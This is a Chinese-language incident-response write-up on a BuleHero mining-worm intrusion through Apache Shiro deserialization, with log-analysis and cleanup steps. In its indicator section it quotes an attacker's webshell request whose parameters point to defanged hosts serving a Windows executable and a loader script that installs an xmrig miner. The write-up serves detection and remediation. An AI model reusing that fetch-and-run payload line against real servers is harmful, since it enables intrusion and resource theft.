背 景
挖矿蠕虫病毒BuleHero擅长利用各类漏洞攻击、弱密码爆破攻击。病毒作者不断更新变种,是近期最活跃的挖矿蠕虫病毒之一。攻击者最新的BuleHero挖矿蠕虫实现入侵后,还会释放挖矿程序,使服务器的资源被消耗挖矿,极大影响正常业务的运行。
本文还原了BuleHero挖矿蠕虫最新变种的发现过程并提供相应的清除与修复建议。
确定攻击范围
确定IDS攻击的记录如下
通过发起攻击请求的IP可得出的ip有:10.222.12.12、10.222.12.11、10.222.12.13。这三台做了负载均衡。
进入其中一台切换到Web目录,可以看到使用Shiro框架。
使用了commons-collection,如果key是默认的则Shiro利用链为最可能的利用点。但分析时外网的ip已经针对此服务做了限制,没有办法直接通过黑盒方式复现。
扩大排查范围,排查所有Shiro相关的服务器,加入了三台测试服务器。
建议上述ip可通的网段全部排查。
查看、分析日志
通过tomcat、niginx日志发现了其受到了一些攻击行为。由于shiro此类反序列化的漏洞很难从日志中定位。以下给出自己的思考和定位的方法。
tomcat 有五类日志 :catalina、localhost、manager、admin、host-manager
catalina
catalina.out即标准输出和标准出错,所有输出到这两个位置的都会进入catalina.out,这里包含tomcat运行自己输出的日志以及应用里向console输出的日志。默认这个日志文件是不会进行自动切割的,太大会造成运行问题。一般通过系统自带的切割工具:logrotate来进行切割或者cronolog或者logj4。这里使用logj4了进行切割日志。
catalina.YYYY-MM-DD.log
catalina.{yyyy-MM-dd}.log是tomcat自己运行的一些日志,这些日志还会输出到catalina.out,但是应用向console输出的日志不会输出到catalina.{yyyy-MM-dd}.log,它是tomcat的启动和暂停时的运行日志,注意,它和catalina.out是里面的内容是不一样的。
localhost.YYYY-MM-DD.log
主要是应用初始化(listener, filter, servlet)未处理的异常最后被tomcat捕获而输出的日志,它也是包含tomcat的启动和暂停时的运行日志,但它没有catalina.YYYY-MM-DD.log 日志全。它只是记录了部分日志。
localhost_access_log.YYYY-MM-DD.log
这个是访问tomcat的日志,请求时间和资源,状态码都有记录。
admin、manager不是我们此次排查的重点,平时用处较少就略过。
怀疑是反序列化漏洞,而反序列化时会抛出异常,所以我们重点关注,Shiro漏洞在前期探测时可能会带一些字段,cookie:rememberMe=deleteMe;
查看异常的抛出: 使用例:cat catalina.2021-07-03.log|grep "org.apache.catalina"
可以看到失陷主机对我们进行扫描,外网已关闭。因此应该排查Jenkins。
但为了防止之前的后门,需要下载HM webshell kill进行查杀。
wget -O /opt/hm-linux.tgz http://dl.shellpub.com/hm/latest/hm-linux-amd64.tgz?version=1.7.0
cd /aebiz/docker-tomcat8/webapps/ROOT/WEB-INF/jsp/
当前目录执行
定位可疑ip、攻击特征
在以上的机器中共发现的url如下:
121.37.248.146/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http[://]fk.0xbdairolkoie.space/download.exe http[://]m.windowsupdatesupport.org/d/loader.sh
下载完成后执行shell脚本,建立git并执行kworkers:
此团伙的payload如下:
在微步在线查询为新型挖矿病毒C2地址。
将kworkers下载分析,其为https://github.com/xmrig/xmrig编译后挖矿程序。
kworkers、kappre、xmrig.exe 等均编译自xmrig。
结合之前扫描的payload,大概率为bluehero的利用团伙。
线索串联、确定手段
根据以上结论可得知,该单位大量使用shiro开发,但是由于测试环境和开发环境的混淆,以及网段没有清晰隔离导致了中招挖矿病毒后被横向,IDS频频告警。
使用apache系类漏洞进行攻击的bluehero刚好得以横向,Jenkins可能为人工行为,且失陷。
清除与修复
1、查看UID为0的帐号:awk -F: '{if($3==0)print $1}' /etc/passwd
查看能够登录的帐号:cat /etc/passwd | grep -E "/bin/bash$"
2、查看链接是否有其他C2
3、查看计划任务、启动项和私钥
4、查找其他C2文件
5、查杀webshell并清除、最好重新部署web
6、升级shiro等框架至最新版并修改key
7、更改系统登录私钥、密码
8、重启